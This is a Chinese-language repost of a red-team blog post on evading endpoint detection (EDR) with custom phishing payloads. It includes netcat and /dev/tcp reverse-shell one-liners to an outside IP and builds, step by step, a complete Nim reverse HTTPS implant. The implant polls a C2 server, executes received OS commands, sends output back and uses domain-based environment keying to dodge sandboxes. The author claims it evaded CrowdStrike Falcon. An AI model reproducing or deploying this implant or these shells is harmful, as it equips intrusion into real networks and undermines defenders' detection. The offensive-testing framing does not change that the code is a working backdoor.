如果端点检测和响应 (EDR) 保护持续阻止网络钓鱼有效负载,您确实应该学习如何编写自定义有效负载。如果您从未编写过自定义有效负载,这是一个很好的起点。如果你对自定义有效载荷有一些经验,我希望我至少可以简化你对有效载荷设计的思考方式,使其变得简单和有趣。
为什么自定义有效负载(通常)比库存 Shellcode 更好
和我一起说:“已知的坏”。这就是你的有效载荷被捕获的原因。你的有效载荷正在做一些坏事,EDR 知道这一点,因为它以前已经看到了你的伎俩。更重要的是,它可能以前看到过完全相同的有效载荷,只是名称不同,可能还有其他一些小的变化。
为了阻止恶意软件,您必须知道恶意软件是什么样子的。要做到这一点,EDR 工程师可以获取的最佳信息是大量恶意软件样本。这些样本来自“在野外捕获”的恶意软件。这些已知的不良样本中的大多数直接来自流行的命令和控制 (C2) 框架,如 Metasploit、Cobalt Strike、Empire、Mythic 等,因此,如果您正在使用这些框架中的任何一个生成的有效载荷,那么 EDR 产品很可能已经看到了看起来像您的有效载荷。
红队的一个主要问题是 C2 框架生成有效载荷的方式。几乎总是有一个有效载荷模板,然后用一些常见的参数(如 LHOST 和 LPORT)填充,然后(希望)进行混淆和编译。某些变量名称和值可能已更改,但最终有效负载的整体结构在各个构建中将极其相似。这就是导致这些“已知坏事”签名的原因。
您可能会对其中一些签名的简单程度感到惊讶。MDSec的博客系列“我是如何遇见你的灯塔”中有一些很好的例子。例如,在旧版本的 Brute Ratel 上,字符串“bruteloader”以及其他一些易于搜索的字符串位于内存中:
https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/
我们不知道我们首选的 C2 有效载荷的哪些部分可能已经被签名,或者可能在不久的将来被签名,因此我们需要编写自己的有效载荷以远离“已知的不良”列表。除非你碰巧以与其他人完全相同的方式编写你的有效载荷(值得怀疑),否则你的有效载荷将很有可能出现在非常理想的“未知坏”列表中。
其它相关课程
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
恶
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
更多详细内容添加作者微信
-
-
自定义有效载荷:Shellcode 加载器与植入物
编写自定义有效负载的一个值得注意的方法是实现您自己的 shellcode 加载器,并使用它来从您首选的 C2 加载 shellcode。这样,您就不必编写实际的信标恶意软件,或者我们所说的“植入物”。如果您的自定义 shellcode 加载器绕过了 EDR,那么您只需使用您最喜欢的 C2 框架中您最喜欢的植入物的所有预构建功能。但是,使用此方法将面临两个主要障碍:
-
您正在加载 shellcode:一个高度签名且粗略的活动
-
您正在将“已知的坏”加载到内存中
运行 shellcode 的方式与运行普通可执行文件的方式不同。这就是为什么我们必须使用时髦的东西,如反射加载器和 Windows 线程池注入。最终,你需要找到某种方式在一个进程中分配一些内存,复制你的shellcode,并在其上放置一个线程。只有少数几种方法可以实现这些步骤中的每一个,因此您的选择有些有限,并且 EDR 产品往往会密切关注您需要使用的功能。贾里德·阿特金森(Jared Atkinson)写了一篇关于这个主题的精彩博客,您可以在此处参考,但足以说明EDR已经投入了大量精力来检测shellcode加载作为异常行为。
即使您的 shellcode 加载器运行良好,并且 EDR 没有检测到加载器本身,您加载的 shellcode 仍可能被捕获。在某些时候,shellcode 加载器会将执行传递给 shellcode。如果该 shellcode 是流行的 C2 框架(如 Cobalt Strike (CS))的植入物,则 EDR 仍然可以使用多个指示器来确定内存中现在是否正在运行 CS Beacon。这导致需要睡眠面罩,并使用一系列记忆恶作剧来隐藏最终的植入物。
尽管有这两个主要挑战,但这似乎是当今大多数严肃的红队的主要方法。我们宁愿把开发时间花在寻找将“已知的坏处”潜入环境中的方法,也不愿从头开始编写我们自己的植入物。首先,很高兴从 *** 插入您最喜欢的 shell here*** shell 进行操作,因为它已经具有我们需要的所有开发后功能。此外,人们担心,如果我们开发自己的植入物,并且它被抓住了,我们将不得不重新开始。
然而,定制植入物有一个主要的好处:它们很可能是“未知的坏处”。当试图绕过EDR时,这是一个非常有价值的优势,我认为红队经常会打折扣。此外,我不认为自定义有效载荷开发需要花费那么多时间。稍后,我将向您展示我在不到一个小时的时间内编写的反向 shell,它能够绕过 Crowdstrike Falcon,并且在为期一周的评估期间在多个主机上未被发现。但首先,我们需要介绍一些反向 shell 优先原则。
为什么这么粗略?
真的就像把自己的植入物写成一个“未知的坏”一样容易吗?让我们考虑一下。从本质上讲,远程访问植入物可以做两件事:
-
向服务器回拨以获取说明
-
以开发后模块的形式运行一些自定义逻辑
首先,大量的合法程序可以连接到互联网。他们从 API 获取数据,或发布用户指标,或定期检查更新。其次,每个程序都运行自定义逻辑;这就是编写程序的全部意义所在。因此,如果我们能使我们的植入物尽可能接近最低要求,它们真的不应该那么突出。
最小的外壳
至少,反向 shell 需要能够从我们的服务器接收指令(即命令),并执行这些指令/命令。就是这样;这就是 C2 的核心。理想情况下,如果有来自命令的输出,那么我们也将希望获取该输出的副本。以下是 Linux 世界中的一些精彩示例:
nc -e /bin/sh 10.0.0.1 8080
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
在每种情况下,我们都看到 TCP 用于传入和传出数据,而 Bash 用于作为指令执行传入数据。不幸的是,Windows 上的情况有点复杂。我们不能只用简单的一句话连接到远程TCP端口,所以我们需要编写一些逻辑来执行“指令输入”/“输出输出”位。我们可能还希望使用经常允许出站的协议,例如 HTTP(S)。这是一个用 Nim 编写的最小 shell 示例(Medium 没有 'Nim' 代码块,因此 Dart 在语法上必须足够接近。对不起,它不是很漂亮):
import std/strformat
import puppy
import std/strutils
import osproc
var server = "https://myc2server.com/"
proc getTask(): string =
var task = fetch(server)
return task
proc taskIO*(data: string): string =
return post(
server,
@[("Content-Type", "text/plain")],
data
).body
while true:
var newTask: string = getTask()
if newTask.len > 0:
var taskResult: string = exec_cmd_ex(newTask).output
discard taskIO(taskResult)
sleep(10000)
此 shell 的主要执行循环位于 “while true” 块下。植入程序会检查服务器是否有新指令,将其作为操作系统 (OS) 命令执行,发回任何输出,然后每 10 秒重复一次该过程。这是一个有效的反向 HTTPS shell。
请注意,我已经分解了接收指令并将输出发送回它们自己的函数的步骤,称为“getTask”和“taskIO”。这对于使代码模块化和可扩展性非常重要!
例如,如果我想通过 HTTPS 接收指令,但通过 DNS 发回输出,该怎么办?我可以更改 taskIO 函数内部的代码来执行此操作,只要函数名称和签名保持不变(即,它接受一个字符串参数并返回一个字符串),那么代码的其他部分就不必更改。执行块不需要知道如何从服务器接收或发送到服务器的指令;只是它将通过调用 getTask() 获取指令,然后使用结果调用 taskIO。我可以完全更改 getTask 或 taskIO 的内部工作原理,而无需修改主执行循环。
我们的植入物现在将 4 个任务链接在一起,每个任务的代码以模块化方式分解:
获取指令→执行指令→发送输出→循环
多人游戏模式
我们的示例 shell 可以工作,但它有几个明显的缺陷,我们需要先解决,然后再考虑将其用于网络钓鱼探险。首先,我们无法唯一地识别每个称为家的贝壳。它们都将从服务器接收相同的命令,然后同时发回它们的输出。这非常烦人,如果您碰巧获得多个炮弹,那就不是很有用了。为了解决这个问题,我们只需要为每个 shell 计算一个随机标识符:
proc rndStr: string =
for _ in .. 5:
add(result, char(rand(int('a') .. int('z'))))
然后,当植入物与服务器通信时,我们可以将标识符添加到我们的请求中:
var implantId = fmt("{rndStr()}")
proc getTask(): string =
var task = fetch(server & "?id=" & implantId)
return task
proc taskIO*(data: string): string =
return post(
server & "?id=" & implantId,
@[("Content-Type", "text/plain")],
data
).body
保护您(客户)的数据!
警告:请勿使用编码来“保护”数据。使用加密。编码 != 加密。在本节中,我使用编码仅用于示例目的。请勿在操作中使用此代码!
在实践中,我们应该始终采取预防措施来保护在我们的植入物和 C2 服务器之间传输的数据。仅依靠HTTPS是不够的,因为我们可能会在使用TLS检查的网络上结束。您可以使用共享密钥加密(例如,AES)或公钥加密(例如,RSA或椭圆曲线加密),甚至可以使用密钥交换来确保前向保密。无论您使用什么,只要确保它使用适当的加密来保护传输中的数据。
举例来说,我将要做相反的事情。我将使用 Base64 作为加密的替代品,因为它很简单,并且具有编码和解码功能。我经常使用这个技巧在开发过程中存根加密逻辑,而不会增加一堆复杂性。一旦 shell 开始工作,我最后换掉加密货币。如前所述,如果我们将这些组件分离为简单的函数,我们以后可以更改它们的实现,而无需修改整个植入物。以下是相关更改:
import std/base64
proc enc*(data: string): string =
return encode(data)
proc dec*(data: string): string =
return decode(data)
proc getTask(): string =
var encTask = fetch(server & "?id=" & implantId)
return dec(encTask)
proc taskIO*(data: string): string =
var encData = enc(data)
return post(
server & "?id=" & implantId,
@[("Content-Type", "text/plain")],
encData
).body
再次注意,我们不必更改主执行循环的任何部分。有了这些更改,我们还可以替换掉“enc”和“dec”函数的实现,以使用实际的加密技术,而无需更改任何其他植入代码。
以下是我们现在植入物的流程:
获取指令→解密指令→执行指令→加密输出→发送输出→循环
一旦你用真正的加密交换了“enc”和“dec”函数,这个反向shell就可以很好地处理一些基本的开发后任务。您可以使用这样的 shell 来暂存功能更丰富的 shell,或者作为成功突破网络边界的概念验证。当然,我们可以做得更好。
保护您的植入物!
在实践中,我们还应该添加一些环境键控,以确保我们的植入物在非预期目标上运行时会死亡。这里的好处是双重的。首先,如果 EDR 产品尝试在沙盒环境中运行它,我们的植入物将提前退出。其次,如果我们的目标用户与组织外部的某人共享有效载荷(转发给配偶等),我们限制了附带损害的可能性。下面是一个非常基本的例子,可以添加到我们的代码中:
import std/md5
import std/os
proc envKey(): string =
var dom = getEnv("USERDOMAIN")
var md5hash = getMD5(dom)
if (md5hash == "f57d933f230d99eff5ca9d87b874bf46"):
return "https://myc2domain.com/"
else:
quit("Missing dependency")
var server = envKey()
这种简单的保护将确保我们的植入物只有在加入“example.local”域的主机上运行时才能正确执行。为了更进一步,您实际上可以使用从域派生的密钥来加密服务器 URL。这样一来,逆向工程就会更加困难。
让我们的植入物发挥更多作用
我承认,这种植入物在目前的状态下不会那么有用或隐蔽。它将为您运行的每个命令生成一个新进程,而这些父子进程关系本身就可能会让我们陷入困境。我们还仅限于使用内置的 Windows 命令。但是,请注意,通过我们的模块化设计,我们可以轻松改变这一点。相反,如果我们修改了逻辑以期望 PowerShell 脚本作为其指令,那会怎样?突然之间,我们的植入物将能够运行Empire的所有开发后模块。或者,如果我们修改执行循环以期望编码的 .NET 程序集,那会怎样?然后,我们可以从像 Covenant 这样的框架中为它提供交易技巧。任何一种选择都应该足以满足大多数开发后的需求。
我会避免的一件事是添加太多功能,尤其是对于初始访问有效负载。这是一个滑坡,我看到许多开发人员都跌倒了。他们构建了一个基本的植入物,就像我在这个博客中演示的那样,但随后想,“我应该添加文件上传/下载”,然后,一段时间后,“我希望它截取屏幕截图。在不知不觉中,植入代码就变成了一个大烂摊子,充斥着大小写开关声明。
所有这些新增功能都带来了很大的成本:遥测,而不是好的那种。我的意思是 EDR 可以用来追捕你的那种。每个功能都引入了可能成为签名的潜在指标。当我最喜欢的自定义植入物之一根据我添加为默认命令的屏幕捕获逻辑被阻止时,我以艰难的方式学到了这一点。我是否需要屏幕截图来执行后期开发?不!我毁了一个非常好的植入物,因为它过于复杂化!
相反,我认为单一用途植入物是初次使用的最佳方式。请注意,我们的植入物不必进行任何参数解析。它只是期望来自 getTask() 函数调用的数据是完全打包的指令,它可以执行并返回结果。这就是我喜欢的方式!如果我要修改此植入物以运行 PowerShell 脚本,我会确保 C2 服务器附加对开发后模块的调用,并在模块代码旁边填充参数。这样一来,植入物就不必进行任何参数解析,并且可以尽可能保持简单。只要有可能,我更喜欢将复杂性推到 C2 服务器,而不是植入物。
把它们放在一起
如前所述,我最近编写了一个反向 shell,它能够在评估中绕过 CrowdStrike。实际上,我们在此博客中重建了几乎完全相同的外壳。对于此特定评估,目标不是接管网络,而是简单地模拟来自端点样本的初始访问和 C2 流量。因此,我不需要带一堆开发后的工艺品。我甚至不需要担心加密,因为我不会泄露任何敏感数据。我只需要一个信标反向外壳来维持内部访问。这是最终的 shell 完整部分:
#Dependencies Section
import std/strformat
import puppy
import std/strutils
import osproc
import std/base64
import std/md5
import std/os
#Environment Keying Section
proc envKey(): string =
var dom = getEnv("USERDOMAIN")
var md5hash = getMD5(dom)
if (md5hash == "f57d933f230d99eff5ca9d87b874bf46"):
return "https://myc2domain.com/"
else:
quit("Missing dependency")
var server = envKey()
#Encryption Section
proc enc*(data: string): string =
return encode(data)
proc dec*(data: string): string =
return decode(data)
#Data In/Out Section
proc rndStr: string =
for _ in .. 5:
add(result, char(rand(int('a') .. int('z'))))
var implantId = fmt("{rndStr()}")
proc getTask(): string =
var encTask = fetch(server & "?id=" & implantId)
return dec(encTask)
proc taskIO*(data: string): string =
var encData = enc(data)
return post(
server & "?id=" & implantId,
@[("Content-Type", "text/plain")],
encData
).body
#Execution Block
while true:
var newTask: string = getTask()
if newTask.len > 0:
var taskResult: string = exec_cmd_ex(newTask).output
discard taskIO(taskResult)
sleep(10000)
即使有注释和一些额外的视觉间距行,这只小狗的重量也只有 53 行代码;其中大部分 chatGPT 可以在几分钟内为您生成。最好的部分是它有效!这就是我需要它做的一切,它像冠军一样在雷达下飞行。第二个最好的部分是,只需很少的额外努力,我就可以将其变成功能更丰富的植入物。只需将执行循环交换为将 PowerShell 脚本、.Net 程序集或 Beacon 对象文件 (BOF) 作为指令而不是 OS 命令,就可以打开广泛的开发后功能。我还可以交换“enc”和“dec”函数来实现实际的加密,以便我可以在“真实”操作中使用它。
综上所述
如果您正在努力使用初始访问有效载荷绕过端点防御,我强烈建议您编写一个自定义植入物。它不一定是花哨的,事实上,我认为在初始访问有效载荷方面越简单越好。我已经写了很多微小的植入物,它们能够绕过复杂的EDR产品,因为它们简单且“未知的坏”。如果你接受我的挑战,我鼓励你保持模块化;这样,您可以根据需要修改或扩展逻辑。最后,请记住,您并不总是需要带坦克参加刀战。一把小枪可能就是你完成工作所需要的全部。
原文始发于微信公众号(安全狗的自我修养):如何使用自定义有效负载绕过 EDR
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论